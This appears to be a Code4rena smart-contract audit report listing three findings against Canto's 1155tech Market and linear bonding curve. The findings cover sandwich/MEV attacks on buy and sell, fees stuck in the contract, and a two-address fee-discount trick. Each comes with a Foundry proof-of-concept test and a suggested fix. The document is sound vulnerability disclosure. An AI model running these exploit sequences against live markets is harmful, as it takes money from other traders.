Canto Application Specific Dollars and Bonding Curves for 1155s - d3e4's results

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/bonding_curve/LinearBondingCurve.sol#L14-L25 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150-L189

Vulnerability details

Impact

Tokens trades can be sandwiched for profit.

Proof of concept

The price of tokens is proportional to the supply with the current LinearBoningCurve. An attacker can therefore sandwich a buy transaction with a buy at the first lower price range followed by a sell at the subsequent higher price range.

The only potential obstacle to this currently in place is that the victim has to approve the payment token to the Market, which may thus revert if the price becomes higher than the amount approved for his intended buy. This is insufficient since a user might approve a very high amount, or even infinity, out of convenience.

However, there is nothing that protects against this attack on a sell transaction. The user will then just receive too little.

Both the buy and sell versions are demonstrated in the below test. Add

function mint(address receiver, uint256 amount) public {
    _mint(receiver, amount);
}

to the MockERC20 contract and paste the following into Market.t.sol.

function testMEVBuy() public {
    testCreateNewShare(); // bob creates
    token.mint(alice, 500e18);
    address carol = address(3);
    token.mint(carol, 100e18);

    // Carol starts buying some tokens
    vm.startPrank(carol);
    token.approve(address(market), type(uint256).max);

    // Frontrun with a buy to increase price
    vm.startPrank(alice);
    token.approve(address(market), type(uint256).max);
    uint256 optimalAmount = 536;
    market.buy(1, optimalAmount);

    // Carol buys her tokens at an increased price
    vm.startPrank(carol);
    market.buy(1,10);

    // Backrun with a sell to extract profit
    vm.startPrank(alice);
    market.sell(1, optimalAmount);
    assertEq(token.balanceOf(alice) - 500e18, 2.207807341182627135e18);
}

function testMEVSell() public {
    testCreateNewShare(); // bob creates
    token.mint(alice, 100e18);
    address users = address(3);
    token.mint(users, 100e18);

    // Alice and users have bought some tokens
    vm.startPrank(users);
    token.approve(address(market), type(uint256).max);
    market.buy(1,100);
    vm.startPrank(alice);
    token.approve(address(market), type(uint256).max);
    market.buy(1,10);
    uint256 balanceBefore = token.balanceOf(alice);

    // Some user starts selling some tokens
    vm.startPrank(users);
    token.approve(address(market), type(uint256).max);

    // Frontrun with a sell to decrease price
    vm.startPrank(alice);
    uint256 optimalAmount = 10;
    market.sell(1, optimalAmount);

    // The user sells his tokens at a decreased price
    vm.startPrank(users);
    market.sell(1,10);

    // Backrun with a buy to extract profit
    vm.startPrank(alice);
    market.buy(1, optimalAmount);
    assertEq(market.tokensByAddress(1, alice), 10);
    assertEq(token.balanceOf(alice)- balanceBefore, 0.067027500000000012e18);
}

Recommended mitigation steps

Add some kind of minOut parameter or functionality to buy() and sell(). This can be the amount to pay or receive, or at which tokenCount to trade.

Assessed type

MEV

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L154-L159 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L290

Vulnerability details

Impact

Buyers do not get any split of the fees. It is instead to be distributed to holders. But holder splits on successive buys are partially lost to the contract and cannot be recovered.

Proof of concept

The buyer's rewardsLastClaimedValue[_id][msg.sender] is updated when buying, without sending him a split of the fee. The split is distributed to the holders by dividing by the tokenCount. This is incorrect if the buyer already holds tokens. The calculation is done as if he will also get a share on his previous tokens, but his rewardsLastClaimedValue is updated without paying it, so it is instead stuck in the contract.

The test below demonstrates the issue. Add

function mint(address receiver, uint256 amount) public {
    _mint(receiver, amount);
}

to the MockERC20 contract and paste the following into Market.t.sol.

function testLostFees() public {
    testCreateNewShare();
    assertEq(token.balanceOf(address(market)), 0);

    token.mint(alice, 1000e18);
    vm.startPrank(alice);
    token.approve(address(market), 1000e18);

    // Tokens are bought
    for (uint256 i; i < 1000; ++i) {
        market.buy(1,1);
    }

    // Everyone withdraws to empty market
    market.sell(1, 1000);
    (uint256 tokenCount,,,,,,) = market.shareData(1);
    assertEq(tokenCount, 0);
    market.claimHolderFee(1); // 0
    vm.stopPrank();
    market.claimPlatformFee();
    vm.prank(bob);
    market.claimCreatorFee(1);

    // market should be empty but something is still unaccounted for, i.e. lost
    assertEq(token.balanceOf(address(market)), 1924330571428570939);
}

Recommended mitigation steps

Exclude the buyers tokens from the _tokenCount passed to _splitFees(), i.e.

- _splitFees(_id, fee, shareData[_id].tokensInCirculation);
+ _splitFees(_id, fee, shareData[_id].tokensInCirculation - tokensByAddress[_id][msg.sender]);

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150-L169

Vulnerability details

Impact

A buyer is supposed to pay the full price plus full fees, unlike when selling where the seller should get a share of the fees on his own sale. This can be circumvented such that tokens can be bought at a discount.

Proof of concept

Market.buy() updates rewardsLastClaimedValue[_id][msg.sender] without transferring the new addition, with the intention that the buyer doesn't get back part of his paid fee. This can be circumvented by using two addresses, to first buy one token with the first address and then the rest with the second address. Then the first token will get the fee shares on behalf of the rest. If so desired this one share can then be transferred by selling it and then buying it with the main address. Thus the buyer can get back up to a third of the fee and gets a discount.

This is demonstrated in detail in the below test. Add

function mint(address receiver, uint256 amount) public {
    _mint(receiver, amount);
}

to the MockERC20 contract and paste the following into Market.t.sol.

function testDiscount() public {
    testCreateNewShare();

    address alice2 = address(22);
    token.mint(alice, 100e18);
    token.mint(alice2, 100e18);

    // Buy a token to accrue fees splits
    vm.startPrank(alice2);
    token.approve(address(market), type(uint256).max);
    market.buy(1,1);

    // Buy the rest
    vm.startPrank(alice);
    token.approve(address(market), type(uint256).max);
    market.buy(1,99);

    // Optionally transfer the fee accruing token to main account
    vm.startPrank(alice2);
    market.sell(1,1);
    vm.startPrank(alice);
    market.buy(1,1);

    // These token were obtained at a discount compared to buying them normally
    uint256 cost = 200e18 - token.balanceOf(alice) - token.balanceOf(alice2);
    (uint256 price, uint256 fee) = bondingCurve.getPriceAndFee(1, 100);
    uint256 shouldCost = price + fee;
    uint256 discount = shouldCost - cost;
    assertEq(discount, 28577666666666655);
}

Recommended mitigation steps

It is difficult to achieve what was intended. One solution is to only reward the platform and the creator when buying. Otherwise, explicitly let buyers get back this part of the fee, just like when selling. Then at least it is fair.

Assessed type

Context